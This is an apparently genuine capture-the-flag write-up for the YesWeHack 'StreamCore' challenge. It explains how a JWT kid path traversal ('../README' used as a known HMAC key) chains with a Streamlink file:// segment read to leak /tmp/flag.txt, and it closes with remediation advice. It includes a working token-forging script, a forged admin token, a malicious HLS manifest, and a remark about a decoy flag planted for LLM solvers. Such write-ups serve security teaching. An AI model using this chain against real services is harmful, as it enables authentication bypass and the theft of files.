← back·StreamCore: Chaining a JWT kid Path Traversal with Streamlink LFI
Aug 28, 2026

StreamCore: Chaining a JWT kid Path Traversal with Streamlink LFI

TL;DR

This is a writeup of Dojo 52 on YesWeHack's Dojo platform, a challenge called StreamCore. It lets users submit an HLS manifest (filename + content) alongside a JWT token for auth, and two bugs chain into a full local file read:

  1. JWT kid path traversal, where the key-loading function reads the JWT header's kid field before verifying the signature and drops it straight into a file path with no sanitization. Pointing kid at a file with known, predictable content (/tmp/README.txt, dropped by setup.py) lets us recover the HMAC signing key and forge an isadmin: true token.
  2. Streamlink LFI (CVE-2026-44353), where once authenticated, the attacker-controlled manifest is written to disk and opened via streamlink.streams("hls://file:///..."). A segment path inside the manifest resolves relative to file:///tmp/, so pointing it at flag.txt reads /tmp/flag.txt and reflects the first 1 MiB back to the page.

Full chain: forge token, submit malicious playlist, read arbitrary local file.


Context

  • Challenge: Dojo 52, YesWeHack Dojo (monthly challenge)
  • Target: https://dojo-yeswehack.com/challenge-of-the-month/dojo-52
  • Vulnerable parameter: POST token
  • Bug type: Path Traversal (CWE-22), chained into Local File Read
  • CVSS: 7.5 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

StreamCore is the app behind YesWeHack Dojo 52, a small service built to "handle HLS manifests more easily": you POST a filename, content (the manifest itself), and an admin token. If the token checks out, the backend writes the manifest to disk and opens it with streamlink, returning the first chunk of decoded data back to the page.

Vulnerability Analysis

1. JWT key injection via kid

def load_key(kid: str) -> bytes:
    with open(f"/tmp/keys/{kid}.txt", "rb") as f:   # kid is attacker-controlled, unsanitized
        return f.read()

def verify_token(token: str) -> dict:
    header = jwt.get_unverified_header(token)   # header read BEFORE signature check
    key = load_key(header.get("kid"))
    return jwt.decode(token, key, algorithms=["HS256"])

The kid header is read before signature verification and concatenated directly into a filesystem path. The app's valid_filename regex only guards the filename field of the manifest, it never touches kid, so ../ sequences pass straight through.

The real signing key lives at /tmp/keys/<random>.txt, with a random name and random content, not guessable. But setup.py also drops a /tmp/README.txt with fixed, known content:

streamcore is a new project developed to handle u3m8 files more easily.

Setting kid = "../README" resolves to /tmp/README.txt, a key we already know. That's enough to forge a validly signed token with {"isadmin": true}.

filename_path = f"/tmp/{filename}.m3u8"
open(filename_path, "w").write(content)   # attacker controls the manifest
streams = streamlink.streams(f"hls://file:///{filename_path}")
chunk = streams["best"].open().read(1024 * 1024).decode("UTF-8")  # returned to the page

Streamlink resolves relative playlist segments against the file:///tmp/ base URL. A segment entry pointing at flag.txt makes Streamlink open /tmp/flag.txt, and the first 1 MiB is decoded and rendered back on the page. This is CVE-2026-44353, affecting Streamlink <= 8.3.0.

Note: the base64 string sitting in the Signature field of the source comments decodes (base64 to base32) to FLAG{LLM$_Ar3_Gr3a7_At_s0lv1ng}. That's a trap for automated or LLM solvers, not the real flag.

Exploitation (PoC)

Step 1: Forge the admin JWT

Use the known README content as the HMAC key:

import hmac, hashlib, base64, json

b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')

key = b"streamcore is a new project developed to handle u3m8 files more easily."
header = {"alg": "HS256", "typ": "JWT", "kid": "../README"}   # -> /tmp/README.txt
payload = {"isadmin": True}

seg = b64(json.dumps(header, separators=(',', ':')).encode()) + b'.' + \
      b64(json.dumps(payload, separators=(',', ':')).encode())
sig = b64(hmac.new(key, seg, hashlib.sha256).digest())

print((seg + b'.' + sig).decode())

Resulting token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.2Vto9Pu0mEwEbJYsIqX_rSOPrGdgS1JQuzAq0H5fRC0

Step 2: Deliver the malicious manifest

The Dojo's input pipeline (Regex Replace, then URL Encode, then json.loads(unquote(...))) accepts one raw JSON object via the INPUTS tab:

{
    "filename": "pwn",
    "content": "#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-TARGETDURATION:1\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:1.0,\nflag.txt\n#EXT-X-ENDLIST",
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.2Vto9Pu0mEwEbJYsIqX_rSOPrGdgS1JQuzAq0H5fRC0"
}

Flow: kid=../README, so README is used as the HMAC key, so the signature is valid, so isadmin=true passes the admin gate, so the manifest is written to /tmp/pwn.m3u8, so Streamlink reads the flag.txt segment as /tmp/flag.txt, and its content is rendered in the "decoded / first 1 MiB" panel.

Result:

FLAG{R3ad1ng_F1l3s_As_A_S3rvic3!}

Remediation

  • Map kid to keys through a fixed allow-list, never a filesystem path, and reject any unknown kid.
  • Pin the signing algorithm and prefer asymmetric signing (RS256/EdDSA) over shared HMAC secrets.
  • Block file:// and internal targets for user-supplied manifests, and only allow vetted remote URLs.
  • Sandbox the ingest process with no access to secrets, and validate every field of the input, not just filename.